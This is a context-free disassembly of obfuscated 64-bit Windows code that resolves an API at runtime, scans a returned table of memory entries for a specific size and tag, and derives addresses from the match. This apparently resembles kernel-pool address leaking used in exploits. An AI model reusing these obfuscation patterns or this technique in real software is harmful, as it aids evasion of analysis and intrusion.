mov eax, 0x56521b9b
pushf
not eax
add eax, 0xae48030b
xor eax, 0xc53e2ef7
rol eax, 0x96
popf
pushf
not eax
add eax, 0xf8489068
xor eax, 0x9222d575
rol eax, 0x56
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax + 0x24]
call fcn.1400aac98
mov dword [rsp + 0x158], eax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x58]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, 0xf0774cf
pushf
not r8d
add r8d, 0xb9dc6787
xor r8d, 0xad274ac6
rol r8d, 0xe
popf
pushf
not r8d
add r8d, 0xe047cb9d
xor r8d, 0xcf1351ff
rol r8d, 0x4e
popf
pushf
not r8d
add r8d, 0xe826283a
xor r8d, 0xb20e586b
rol r8d, 0xfb
popf
mov edx, eax
call fcn.140161c88
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x88]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov rdx, qword [rsp + 0x48]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x58]
push rdx
not rdx
sub rdi, rdx
pop rdx
sub rdi, 1
mov rdx, rdi
mov qword [rsp + 0x310], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x310]
mov rcx, rax
call fcn.1400815da
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x58]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, dword [rsp + 0x158]
mov edx, eax
call fcn.140161c88
push rax
pushf
mov eax, 0x72eae68b
pushf
not eax
add eax, 0xe604cf23
xor eax, 0xb3fde840
rol eax, 0x21
popf
pushf
not eax
add eax, 0xc7698eda
xor eax, 0x8c29afc7
rol eax, 0x33
popf
pushf
not eax
add eax, 0xc701f0db
xor eax, 0xaf17a499
rol eax, 0xf
popf
jmp 0x1400c1af9
jmp 0x1400c4be6
mov eax, 0xfaa28a52
pushf
not eax
add eax, 0xea893e44
xor eax, 0xc7695371
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xf24e42df
xor eax, 0xd00ada23
rol eax, 0
popf
pushf
not eax
add eax, 0xc55cdd0a
xor eax, 0xe724cac6
rol eax, 0x71
popf
pushf
not eax
add eax, 0xda722766
xor eax, 0xe31c6103
rol eax, 0xb4
popf
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rax + rcx]
cmp dword [0x140040298], eax
jle 0x1400c4f85
push rax
pushf
mov eax, 0x682ce332
pushf
not eax
add eax, 0xb2e9b449
xor eax, 0xd7ab59a9
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xf9731914
xor eax, 0xfc8a5cdf
rol eax, 0x62
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xc2c78044
pushf
not eax
add eax, 0xebb5b12e
xor eax, 0xce2fc845
rol eax, 0x41
popf
pushf
not eax
add eax, 0x84649015
xor eax, 0x879ea69b
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xbe161cff
xor eax, 0xefb7aa1d
rol eax, 0xd
popf
pushf
not eax
add eax, 0xf4cf6198
xor eax, 0x830ee72a
rol eax, 0xe2
popf
jmp 0x1400c1af9
lea rcx, [0x1aee42ec7]
pushf
sub rcx, 0x6ee02c2f
popf
call fcn.14015ea45
cmp dword [0x140040298], 0xffffffff
jne 0x1400c5044
push rax
pushf
mov eax, 0x415cdb2f
pushf
not eax
add eax, 0xbc5b7372
xor eax, 0x91fdd78a
rol eax, 0xa6
popf
pushf
not eax
add eax, 0x992e3dd8
xor eax, 0xfcba6efd
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x86979992
xor eax, 0x855d973b
rol eax, 0xee
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x28f31a22
pushf
not eax
add eax, 0xfaa3fab9
xor eax, 0xa374fbe6
rol eax, 0x95
popf
pushf
not eax
add eax, 0x9b432b50
xor eax, 0xe35aa626
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x9b4d9e62
xor eax, 0xec56b713
rol eax, 0xd
popf
jmp 0x1400c1af9
lea rcx, [0x19a50f841]
pushf
sub rcx, 0x5a4ddc39
popf
jmp 0x1400c509d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x1bcc10a8d]
pushf
sub rdx, 0x7cbdeea5
popf
mov rcx, rax
jmp 0x1400c50b9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140040278], rax
lea rcx, [0x18400f15c]
pushf
sub rcx, 0x43fceec4
popf
call fcn.14014b515
push rax
pushf
mov eax, 0x442b4766
pushf
not eax
add eax, 0x96c16c72
xor eax, 0x9b0e1c81
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xa527da10
xor eax, 0xdb8f8385
rol eax, 0x39
popf
jmp 0x1400c1af9
mov dword [rsp + 0x50], 0
mov dword [rsp + 0xa0], 0
jmp 0x1400c5124
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor r8d, r8d
mov edx, 0x5b3c2ff7
pushf
not edx
add edx, 0xe3978e1f
xor edx, 0xb2b8a991
rol edx, 0x9e
popf
pushf
not edx
add edx, 0x8ecfb986
xor edx, 0xac9c3da1
rol edx, 1
popf
pushf
not edx
add edx, 0xb36c3626
xor edx, 0xc8c44f37
rol edx, 0x3f
popf
pushf
not edx
add edx, 0x8cf828e7
xor edx, 0xc3ae77a4
rol edx, 0x5a
popf
mov rcx, rax
jmp 0x1400c5189
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x80], rax
jmp 0x1400c5198
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9d, 0x231e48b4
pushf
not r9d
add r9d, 0xec35f561
xor r9d, 0x886c7681
rol r9d, 0x1e
popf
pushf
not r9d
add r9d, 0x94d7e54b
xor r9d, 0xb6b52a42
rol r9d, 0xc4
popf
pushf
not r9d
add r9d, 0xa9141d6c
xor r9d, 0x8237cd8d
rol r9d, 0xa7
popf
mov r8, qword [rsp + 0x80]
mov edx, 0x49a83c02
pushf
not edx
add edx, 0x97d985d3
xor edx, 0x86c234a3
rol edx, 0xde
popf
pushf
not edx
add edx, 0xb528188d
xor edx, 0xba6fc844
rol edx, 0xd6
popf
pushf
not edx
add edx, 0xfe9a6fa5
xor edx, 0xa97c4e68
rol edx, 0xa8
popf
mov rcx, rax
jmp 0x1400c523f
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [rsp + 0x80], rax
mov rax, qword [0x140040278]
mov qword [rsp + 0x318], rax
lea r9, [rsp + 0x50]
mov r8d, 0x29e33c6
pushf
not r8d
add r8d, 0xd8ed1c20
xor r8d, 0x8dd5e913
rol r8d, 0x9e
popf
pushf
not r8d
add r8d, 0xd51da71a
xor r8d, 0xdd6e6bb4
rol r8d, 0xfd
popf
pushf
not r8d
add r8d, 0xe1f20751
xor r8d, 0xccbd68cb
rol r8d, 0xea
popf
pushf
not r8d
add r8d, 0xbd772dcf
xor r8d, 0xcf018726
rol r8d, 2
popf
mov rdx, qword [rsp + 0x80]
mov ecx, 0xaada2699
pushf
not ecx
add ecx, 0xedcc1a7e
xor ecx, 0xce7042d1
rol ecx, 0x22
popf
pushf
not ecx
add ecx, 0xce3701e0
xor ecx, 0xfa397ed8
rol ecx, 0x44
popf
pushf
not ecx
add ecx, 0xd551b93e
xor ecx, 0xefc8d204
rol ecx, 0xe5
popf
pushf
not ecx
add ecx, 0xeeb9521c
xor ecx, 0xc2038da8
rol ecx, 0xc8
popf
jmp 0x1400c532d
call qword [rsp + 0x318]
mov dword [rsp + 0x15c], eax
mov eax, dword [rsp + 0x50]
add eax, 0x1f
mov eax, eax
mov qword [rsp + 0x320], rax
jmp 0x1400c534d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x328], rax
mov r9, qword [rsp + 0x320]
mov r8, qword [rsp + 0x80]
mov edx, 0x8212a48b
pushf
not edx
add edx, 0xa46693f2
xor edx, 0x85be5f6c
rol edx, 0xa0
popf
pushf
not edx
add edx, 0x8c9fb2d1
xor edx, 0xc3c078e1
rol edx, 0xde
popf
pushf
not edx
add edx, 0xc0cbd375
xor edx, 0xf6ef346b
rol edx, 0x5c
popf
mov rcx, qword [rsp + 0x328]
jmp 0x1400c53b8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0xa0], eax
mov rax, qword [0x140040278]
mov qword [rsp + 0x330], rax
lea r9, [rsp + 0x50]
mov r8d, dword [rsp + 0xa0]
mov rdx, qword [rsp + 0x80]
mov ecx, 0x6ddeb9b9
pushf
not ecx
add ecx, 0xd2359bd7
xor ecx, 0xb1871378
rol ecx, 0xe4
popf
pushf
not ecx
add ecx, 0xeb8bad80
xor ecx, 0x914fc8c2
rol ecx, 0xca
popf
pushf
not ecx
add ecx, 0xde696cb6
xor ecx, 0x843ebbf0
rol ecx, 0x6e
popf
pushf
not ecx
add ecx, 0xb88f86ac
xor ecx, 0xe29d9576
rol ecx, 0x37
popf
jmp 0x1400c544f
call qword [rsp + 0x330]
mov dword [rsp + 0x15c], eax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 0
cmp qword [rsp + 0x1b0], 0
je 0x1400c54e0
push rax
pushf
mov eax, 0xbb2be442
pushf
not eax
add eax, 0xa2593417
xor eax, 0xd03b5544
rol eax, 0x87
popf
pushf
not eax
add eax, 0xbaa35bd2
xor eax, 0x89e4ef3e
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xd1970608
xor eax, 0xbc12e85a
rol eax, 1
popf
pushf
not eax
add eax, 0xa60d681e
xor eax, 0x94a0d114
rol eax, 0x51
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x5cae99e4
pushf
not eax
add eax, 0xc4f18679
xor eax, 0xe5b9f984
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xaf9d9507
xor eax, 0xb4bdf33e
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xf7aa7184
xor eax, 0xf3c3d983
rol eax, 0x97
popf
pushf
not eax
add eax, 0x827762c1
xor eax, 0xd0a9ff29
rol eax, 0xa6
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x1b0]
mov eax, dword [rax]
mov dword [rsp + 0x160], eax
mov dword [rsp + 0x54], 0
jmp 0x1400c5600
mov eax, dword [rsp + 0x54]
jmp 0x1400c55a2
inc eax
mov dword [rsp + 0x54], eax
push rax
pushf
mov eax, 0x8a184dd4
pushf
not eax
add eax, 0x9952a762
xor eax, 0xd2a3dd2d
rol eax, 0x67
popf
pushf
not eax
add eax, 0xdb514571
xor eax, 0xeb3d7787
rol eax, 0x79
popf
pushf
not eax
add eax, 0x9482239c
xor eax, 0xc440a98b
rol eax, 0x39
popf
pushf
not eax
add eax, 0xb9c61c93
xor eax, 0xff2c304c
rol eax, 1
popf
jmp 0x1400c1af9
mov eax, dword [rsp + 0x160]
cmp dword [rsp + 0x54], eax
jae 0x1400c566a
push rax
pushf
mov eax, 0x156e7254
pushf
not eax
add eax, 0xfc875aef
xor eax, 0xcde509bb
rol eax, 0x84
popf
pushf
not eax
add eax, 0xc5cc759c
xor eax, 0xb64bcbff
rol eax, 0x18
popf
pushf
not eax
add eax, 0xafdd2b27
xor eax, 0xd1d78f54
rol eax, 0x11
popf
pushf
not eax
add eax, 0x96d2de75
xor eax, 0x827d0c0c
rol eax, 0x9f
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xfa0d105b
pushf
not eax
add eax, 0xa28a750f
xor eax, 0xf3112e9f
rol eax, 0x47
popf
pushf
not eax
add eax, 0xc6d87a4e
xor eax, 0xa3203d46
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xe083b551
xor eax, 0x86624a21
rol eax, 0x50
popf
pushf
not eax
add eax, 0xc5ce6b18
xor eax, 0xb427b5c5
rol eax, 0x3f
popf
jmp 0x1400c1af9
mov eax, dword [rsp + 0x54]
imul rax, rax, 0x18
mov rcx, qword [rsp + 0x1b0]
lea rax, [rcx + rax + 8]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xe0]
mov rax, qword [rax]
and rax, 0xfffffffffffffffe
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0xe0]
mov rax, qword [rax]
and rax, 1
test rax, rax
je 0x1400c5751
push rax
pushf
mov eax, 0xfd53ca12
pushf
not eax
add eax, 0xb06ae41d
xor eax, 0xbc3225ba
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xc1a07506
xor eax, 0x811b2fb9
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x80c4cd39
xor eax, 0xa63d7728
rol eax, 0xbc
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x5bf47174
pushf
not eax
add eax, 0x969b613b
xor eax, 0x8f0d7ba2
rol eax, 0xad
popf
pushf
not eax
add eax, 0xc16ece94
xor eax, 0xa8d9f73f
rol eax, 0x35
popf
pushf
not eax
add eax, 0xf4b99bf8
xor eax, 0xd8e2d47f
rol eax, 0x4f
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0xe0]
cmp qword [rax + 8], 0x200000
jne 0x1400c57ef
push rax
pushf
mov eax, 0x8dd8fd4b
pushf
not eax
add eax, 0x9cb80739
xor eax, 0xa6454bf7
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xdd763010
xor eax, 0x9628bc54
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xc09dfaee
xor eax, 0xf85e5e1f
rol eax, 0xd4
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x543319f
pushf
not eax
add eax, 0x976cbec1
xor eax, 0xfcf7bb50
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xa1793ea3
xor eax, 0xdbbdcc29
rol eax, 0x5b
popf
jmp 0x1400c1af9
cmp qword [rsp + 0x1b8], 0
jne 0x1400c5860
push rax
pushf
mov eax, 0x68c3e516
pushf
not eax
add eax, 0x9fcae2fb
xor eax, 0xf13dc196
rol eax, 0x21
popf
pushf
not eax
add eax, 0x83927b80
xor eax, 0xf70f429a
rol eax, 0x32
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x560e33f9
pushf
not eax
add eax, 0xad5094c1
xor eax, 0xc71c0e56
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xdeea04f1
xor eax, 0xa2a5afa5
rol eax, 0x76
popf
pushf
not eax
add eax, 0xafa99e6a
xor eax, 0x8d234330
rol eax, 0x88
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0xe0]
cmp dword [rax + 0x10], 0x546e6f43
jne 0x1400c5910
push rax
pushf
mov eax, 0xa33b796a
pushf
not eax
add eax, 0xc1427509
xor eax, 0xc15f98fa
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xd05f8e4d
xor eax, 0xc146a791
rol eax, 0x93
popf
pushf
not eax
add eax, 0xfbad7092
xor eax, 0xb02a2cbe
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xf841740c
xor eax, 0xa46b06a1
rol eax, 0xfa
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xe7bd0d93
pushf
not eax
add eax, 0xe18e86f3
xor eax, 0xc68cbb3f
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xe6e94295
xor eax, 0xea222efc
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xb7f406e2
xor eax, 0xda3752ad
rol eax, 0xed
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x1b8], rax
push rax
pushf
mov eax, 0xa0585d4c
pushf
not eax
add eax, 0xa1bafeb2
xor eax, 0x83fe37ad
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xd86ade51
xor eax, 0xe0d3567a
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x9d9e595e
xor eax, 0xca7db1c4
rol eax, 0x78
popf
jmp 0x1400c1af9
jmp 0x1400c559d
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
add rax, 0x60
mov rcx, rax
call fcn.1400c8d61
mov rax, qword [rax]
mov qword [rsp + 0x1c0], rax
movabs rax, 0x5ec6ce00010176b9
pushf
not rax
add rax, 0x7597b24d
xor rax, 0x6f988933
rol rax, 0xd9
popf
pushf
not rax
add rax, 0x449f30c2
xor rax, 0x6ea341a2
rol rax, 0xe8
popf
pushf
not rax
add rax, 0x48088b26
xor rax, 0x7e65efb8
rol rax, 0x52
popf
cmp qword [rsp + 0x1c0], rax
jbe 0x1400c5ac5
push rax
pushf
mov eax, 0xf4c5b8e3
pushf
not eax
add eax, 0x9b643643
xor eax, 0xfa23babf
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xce76d930
xor eax, 0xcb9262f0
rol eax, 0x35
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xeefa098b
pushf
not eax
add eax, 0x8671fb63
xor eax, 0xea985430
rol eax, 0x44
popf
pushf
not eax
add eax, 0x851157e0
xor eax, 0xa6146968
rol eax, 0x95
popf
jmp 0x1400c1af9
movabs rax, 0xdf254d0e07d148d7
pushf
not rax
add rax, 0x69d2a4ad
xor rax, 0x4902c68f
rol rax, 0xec
popf
pushf
not rax
add rax, 0x71e03aae
xor rax, 0x6332565e
rol rax, 0x73
popf
pushf
not rax
add rax, 0x77bbef8e
xor rax, 0x77d93d8c
rol rax, 0x21
popf
pushf
not rax
add rax, 0x40c7f5f2
xor rax, 0x5b045896
rol rax, 0xff
popf
mov rcx, qword [rsp + 0x1c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x200], rax
jmp 0x1400c5c90
movabs rax, 0xe67981000aef7c50
pushf
not rax
add rax, 0x5f0453a6
xor rax, 0x5414dc4d
rol rax, 0xd4
popf
pushf
not rax
add rax, 0x5f4ad112
xor rax, 0x53740896
rol rax, 0x44
popf
pushf
not rax
add rax, 0x46b617b7
xor rax, 0x5ae313e6
rol rax, 0xe3
popf
mov rcx, qword [rsp + 0x1c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x200], rax
push rax
pushf
mov eax, 0x188a18e4
pushf
not eax
add eax, 0x824c35ac
xor eax, 0x99ceee08
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xf950a9f3
xor eax, 0x90935580
rol eax, 0x62
popf
pushf
not eax
add eax, 0xc4c8fbab
xor eax, 0xa3846db1
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x84beb0b8
xor eax, 0xb050f9b0
rol eax, 0x9f
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0xb8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
add rax, 0x1a0
mov rdx, rax
mov rcx, qword [rsp + 0xb8]
call fcn.1400f2f10
mov qword [rsp + 0x208], rax
cmp qword [rsp + 0x208], 0
jne 0x1400c5d2e
push rax
pushf
mov eax, 0xd3ab7dd2
pushf
not eax
add eax, 0xbcbc48be
xor eax, 0xe7b38ae3
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xf2c1d630
xor eax, 0xe8cd4e65
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xb8b6c459
xor eax, 0xa71570e6
rol eax, 0x58
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xc14bfb78
pushf
not eax
add eax, 0x86c327eb
xor eax, 0xb66b4ba4
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xe8c25811
xor eax, 0xef342430
rol eax, 0x22
popf
jmp 0x1400c1af9
xor al, al
jmp 0x1400c6031
mov rax, qword [rsp + 0x208]
add rax, 0x28
mov rdx, rax
mov rcx, qword [rsp + 0xb8]
call fcn.1400f2f10
mov qword [rsp + 0x210], rax
cmp qword [rsp + 0x210], 0
jne 0x1400c5e36
push rax
pushf
mov eax, 0x9a089054
pushf
not eax
add eax, 0xad352a20
xor eax, 0xfa375fb8
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xd29bfde0
xor eax, 0xaaf693bc
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x8acc2055
xor eax, 0x8d602d62
rol eax, 0xe
popf
pushf
not eax
add eax, 0xad8d434f
xor eax, 0xabc2cb4d
rol eax, 0xa7
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xbdd62f4f
pushf
not eax
add eax, 0xa605971c
xor eax, 0xe9742bb8
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xcc442aeb
xor eax, 0xb18fd66d
rol eax, 0x24
popf
pushf
not eax
add eax, 0xf1dae53c
xor eax, 0xeae51c30
rol eax, 0x60
popf
jmp 0x1400c1af9
xor al, al
jmp 0x1400c6031
mov rax, qword [rsp + 0x210]
add rax, 0x8c0
mov rdx, rax
mov rcx, qword [rsp + 0xb8]
call fcn.1400f2f10
mov qword [rsp + 0x220], rax
cmp qword [rsp + 0x220], 0
jne 0x1400c5f47
xor al, al
jmp 0x1400c6031
mov rax, qword [rsp + 0x58]
add rax, 0xd140
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x58]
add rax, 0x26a30
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x348]
mov r8d, 0x3f3b9b74
pushf
not r8d
add r8d, 0xcd315a5c
xor r8d, 0x95b6a839
rol r8d, 0x7b
popf
pushf
not r8d
add r8d, 0x9dfc0efa
xor r8d, 0xad39c343
rol r8d, 0xb9
popf
mov rdx, qword [rsp + 0x350]
mov rcx, qword [rsp + 0x220]
call fcn.1400f088a
mov al, 0x62
pushf
not al
add al, 0xf
xor al, 0x77
rol al, 0x78
popf
pushf
not al
add al, 0x52
xor al, 0x72
rol al, 0xfe
popf
push rax
pushf
mov eax, 0xf2b67c42
pushf
not eax
add eax, 0xbf4ef637
xor eax, 0xeda71bb8
rol eax, 0x31
popf
pushf
not eax
add eax, 0x865bd83a
xor eax, 0xed576c85
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xaa48b2b7
xor eax, 0xb8e401ad
rol eax, 0x3b
popf
jmp 0x1400c1af9
add rsp, 0x3c8
pop rdi
pop rsi
ret